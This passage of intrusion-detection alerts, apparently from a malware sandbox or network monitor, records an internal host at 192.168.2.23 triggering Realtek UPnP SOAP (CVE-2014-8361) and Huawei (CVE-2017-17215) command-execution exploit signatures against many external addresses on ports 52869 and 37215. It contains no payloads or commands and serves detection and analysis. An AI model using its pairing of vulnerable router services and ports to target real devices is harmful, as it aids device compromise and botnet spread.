Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 186.40.176.32

Timestamp:	07/20/24-23:01:04.423031
SID:	2027339
Source Port:	43584
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 104.158.63.237

Timestamp:	07/20/24-23:01:44.085493
SID:	2027339
Source Port:	60514
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 202.1.176.48

Timestamp:	07/20/24-23:01:44.991829
SID:	2831300
Source Port:	58460
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 199.118.63.112

Timestamp:	07/20/24-23:01:58.190255
SID:	2027339
Source Port:	53358
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 27.10.81.5

Timestamp:	07/20/24-23:01:58.945733
SID:	2027339
Source Port:	33618
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 216.27.105.182

Timestamp:	07/20/24-23:01:49.070413
SID:	2027339
Source Port:	33184
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 184.241.110.129

Timestamp:	07/20/24-23:01:53.175676
SID:	2027339
Source Port:	59638
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.240.87.211

Timestamp:	07/20/24-23:00:59.203960
SID:	2829579
Source Port:	59652
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 79.129.206.60

Timestamp:	07/20/24-23:01:51.698859
SID:	2027339
Source Port:	43246
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 2.77.241.40

Timestamp:	07/20/24-23:01:52.569791
SID:	2027339
Source Port:	51988
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.34.80.193

Timestamp:	07/20/24-23:01:40.321965
SID:	2829579
Source Port:	57874
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 49.91.98.221

Timestamp:	07/20/24-23:01:57.049485
SID:	2025132
Source Port:	43448
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.157.98.132

Timestamp:	07/20/24-23:01:27.668073
SID:	2829579
Source Port:	35160
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 86.18.150.91

Timestamp:	07/20/24-23:01:42.062724
SID:	2027339
Source Port:	59740
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 42.89.136.69

Timestamp:	07/20/24-23:02:08.171169
SID:	2027339
Source Port:	44566
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 88.29.130.31

Timestamp:	07/20/24-23:01:52.599833
SID:	2027339
Source Port:	48540
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 86.115.200.136

Timestamp:	07/20/24-23:01:56.910590
SID:	2027339
Source Port:	37840
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 122.90.179.148

Timestamp:	07/20/24-23:01:51.258596
SID:	2027339
Source Port:	46492
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.92.201.180

Timestamp:	07/20/24-23:01:00.639011
SID:	2829579
Source Port:	38304
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 115.176.151.108

Timestamp:	07/20/24-23:01:46.125172
SID:	2831300
Source Port:	56968
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 143.198.233.204

Timestamp:	07/20/24-23:01:02.324877
SID:	2025132
Source Port:	55470
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 162.125.127.147

Timestamp:	07/20/24-23:01:48.118060
SID:	2027339
Source Port:	49154
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 67.104.194.85

Timestamp:	07/20/24-23:01:57.388537
SID:	2027339
Source Port:	44252
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.44.134.248

Timestamp:	07/20/24-23:01:11.636425
SID:	2829579
Source Port:	60540
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.183.23.205

Timestamp:	07/20/24-23:01:34.048618
SID:	2829579
Source Port:	49156
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.136.199.110

Timestamp:	07/20/24-23:01:02.045640
SID:	2835222
Source Port:	49936
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.224.4.245

Timestamp:	07/20/24-23:01:02.113055
SID:	2835222
Source Port:	37100
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.9.246.73

Timestamp:	07/20/24-23:01:04.053605
SID:	2829579
Source Port:	43318
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 216.183.225.201

Timestamp:	07/20/24-23:02:00.322736
SID:	2027339
Source Port:	37216
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 39.235.222.86

Timestamp:	07/20/24-23:02:00.710832
SID:	2027339
Source Port:	35548
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 20.109.185.247

Timestamp:	07/20/24-23:01:27.660099
SID:	2829579
Source Port:	38352
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 81.196.84.169

Timestamp:	07/20/24-23:01:53.068475
SID:	2025132
Source Port:	45506
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 82.240.7.131

Timestamp:	07/20/24-23:01:53.472037
SID:	2025132
Source Port:	58472
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 180.183.76.230

Timestamp:	07/20/24-23:01:42.636583
SID:	2027339
Source Port:	55272
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 119.138.76.79

Timestamp:	07/20/24-23:01:44.325773
SID:	2025132
Source Port:	43672
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 185.209.39.214

Timestamp:	07/20/24-23:02:06.813916
SID:	2831300
Source Port:	34864
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.24.224.193

Timestamp:	07/20/24-23:01:01.904524
SID:	2829579
Source Port:	47078
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 220.0.122.40

Timestamp:	07/20/24-23:01:31.313383
SID:	2831300
Source Port:	53670
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 24.106.184.126

Timestamp:	07/20/24-23:01:03.924344
SID:	2027339
Source Port:	40650
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 146.33.84.180

Timestamp:	07/20/24-23:01:47.005094
SID:	2831300
Source Port:	41146
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 129.151.175.195

Timestamp:	07/20/24-23:01:41.259813
SID:	2025132
Source Port:	40310
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.113.144.195

Timestamp:	07/20/24-23:01:27.730585
SID:	2835222
Source Port:	41968
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 172.233.108.76

Timestamp:	07/20/24-23:01:43.686153
SID:	2027339
Source Port:	50918
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 140.189.156.39

Timestamp:	07/20/24-23:01:51.113660
SID:	2831300
Source Port:	37010
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 116.78.34.252

Timestamp:	07/20/24-23:01:11.822392
SID:	2829579
Source Port:	58386
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 125.137.181.188

Timestamp:	07/20/24-23:02:00.234228
SID:	2025132
Source Port:	50240
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 37.140.130.170

Timestamp:	07/20/24-23:01:53.021606
SID:	2831300
Source Port:	49206
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 63.75.166.170

Timestamp:	07/20/24-23:01:44.054567
SID:	2027339
Source Port:	53286
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 23.94.137.105

Timestamp:	07/20/24-23:01:08.556804
SID:	2831300
Source Port:	57658
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 99.184.135.95

Timestamp:	07/20/24-23:01:02.095698
SID:	2829579
Source Port:	35250
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 87.254.251.88

Timestamp:	07/20/24-23:01:43.121284
SID:	2027339
Source Port:	40112
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 150.220.0.209

Timestamp:	07/20/24-23:01:43.966760
SID:	2027339
Source Port:	56330
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 193.12.149.189

Timestamp:	07/20/24-23:01:45.202570
SID:	2027339
Source Port:	43560
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 108.210.234.252

Timestamp:	07/20/24-23:01:47.859927
SID:	2831300
Source Port:	53216
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 25.6.33.130

Timestamp:	07/20/24-23:01:00.641498
SID:	2835222
Source Port:	54260
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 112.132.188.245

Timestamp:	07/20/24-23:01:12.813695
SID:	2027339
Source Port:	57422
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 213.67.172.218

Timestamp:	07/20/24-23:02:09.321968
SID:	2025132
Source Port:	51482
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.191.169.80

Timestamp:	07/20/24-23:01:34.044223
SID:	2829579
Source Port:	33566
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 43.124.104.253

Timestamp:	07/20/24-23:01:13.618084
SID:	2027339
Source Port:	45878
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 191.61.198.111

Timestamp:	07/20/24-23:01:42.069870
SID:	2831300
Source Port:	58724
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 46.82.140.27

Timestamp:	07/20/24-23:01:53.560520
SID:	2027339
Source Port:	43648
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 161.210.183.51

Timestamp:	07/20/24-23:01:42.995118
SID:	2027339
Source Port:	60430
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.124.29.47

Timestamp:	07/20/24-23:00:59.192052
SID:	2829579
Source Port:	50040
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 86.219.42.227

Timestamp:	07/20/24-23:01:08.652877
SID:	2027339
Source Port:	34774
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 211.87.162.144

Timestamp:	07/20/24-23:01:42.629036
SID:	2831300
Source Port:	45276
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 95.50.29.160

Timestamp:	07/20/24-23:01:41.637960
SID:	2831300
Source Port:	40706
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 43.198.199.207

Timestamp:	07/20/24-23:02:53.636754
SID:	2025132
Source Port:	34312
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 219.105.54.148

Timestamp:	07/20/24-23:01:08.614193
SID:	2027339
Source Port:	59036
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 213.132.50.155

Timestamp:	07/20/24-23:01:45.926465
SID:	2831300
Source Port:	35840
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.199.42.244

Timestamp:	07/20/24-23:01:40.307219
SID:	2829579
Source Port:	34386
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 93.148.210.215

Timestamp:	07/20/24-23:01:41.374418
SID:	2025132
Source Port:	55916
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 25.194.48.207

Timestamp:	07/20/24-23:01:43.110964
SID:	2025132
Source Port:	40600
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.9.9.217

Timestamp:	07/20/24-23:01:20.131339
SID:	2829579
Source Port:	38098
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 70.101.195.243

Timestamp:	07/20/24-23:01:58.152789
SID:	2027339
Source Port:	38362
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 117.200.16.247

Timestamp:	07/20/24-23:01:25.044669
SID:	2025132
Source Port:	39594
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 156.160.38.108

Timestamp:	07/20/24-23:01:45.095767
SID:	2831300
Source Port:	58042
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 35.92.216.124

Timestamp:	07/20/24-23:01:31.317774
SID:	2027339
Source Port:	55592
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 193.19.81.156

Timestamp:	07/20/24-23:01:42.486106
SID:	2027339
Source Port:	54728
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 187.17.35.77

Timestamp:	07/20/24-23:01:57.747300
SID:	2027339
Source Port:	57584
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 105.224.21.3

Timestamp:	07/20/24-23:01:54.947006
SID:	2027339
Source Port:	60546
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 103.18.195.93

Timestamp:	07/20/24-23:01:08.638880
SID:	2831300
Source Port:	38024
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.115.47.163

Timestamp:	07/20/24-23:01:32.034562
SID:	2829579
Source Port:	48106
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 83.205.44.142

Timestamp:	07/20/24-23:01:43.177552
SID:	2025132
Source Port:	58512
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.45.233.176

Timestamp:	07/20/24-23:01:40.334933
SID:	2829579
Source Port:	35100
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 157.252.110.127

Timestamp:	07/20/24-23:01:42.131607
SID:	2025132
Source Port:	33750
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 187.122.130.75

Timestamp:	07/20/24-23:01:43.567356
SID:	2831300
Source Port:	39516
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 135.128.96.121

Timestamp:	07/20/24-23:01:49.207937
SID:	2027339
Source Port:	37816
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 128.83.244.58

Timestamp:	07/20/24-23:01:42.357440
SID:	2025132
Source Port:	43918
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 74.205.109.96

Timestamp:	07/20/24-23:01:42.466150
SID:	2027339
Source Port:	54924
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 53.50.156.29

Timestamp:	07/20/24-23:01:44.963815
SID:	2027339
Source Port:	42942
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 57.81.97.111

Timestamp:	07/20/24-23:01:43.117484
SID:	2025132
Source Port:	48780
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 221.83.41.173

Timestamp:	07/20/24-23:00:59.168569
SID:	2835222
Source Port:	44702
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.80.129.250

Timestamp:	07/20/24-23:01:21.936545
SID:	2835222
Source Port:	45502
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 84.170.188.89

Timestamp:	07/20/24-23:01:34.053061
SID:	2835222
Source Port:	38084
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.224.12.67

Timestamp:	07/20/24-23:01:02.055683
SID:	2835222
Source Port:	58700
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 107.163.195.19

Timestamp:	07/20/24-23:01:42.693536
SID:	2027339
Source Port:	33042
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 12.215.198.66

Timestamp:	07/20/24-23:01:44.870961
SID:	2027339
Source Port:	34216
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 166.191.111.147

Timestamp:	07/20/24-23:01:50.370395
SID:	2027339
Source Port:	33046
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 166.7.60.196

Timestamp:	07/20/24-23:01:03.186337
SID:	2027339
Source Port:	56660
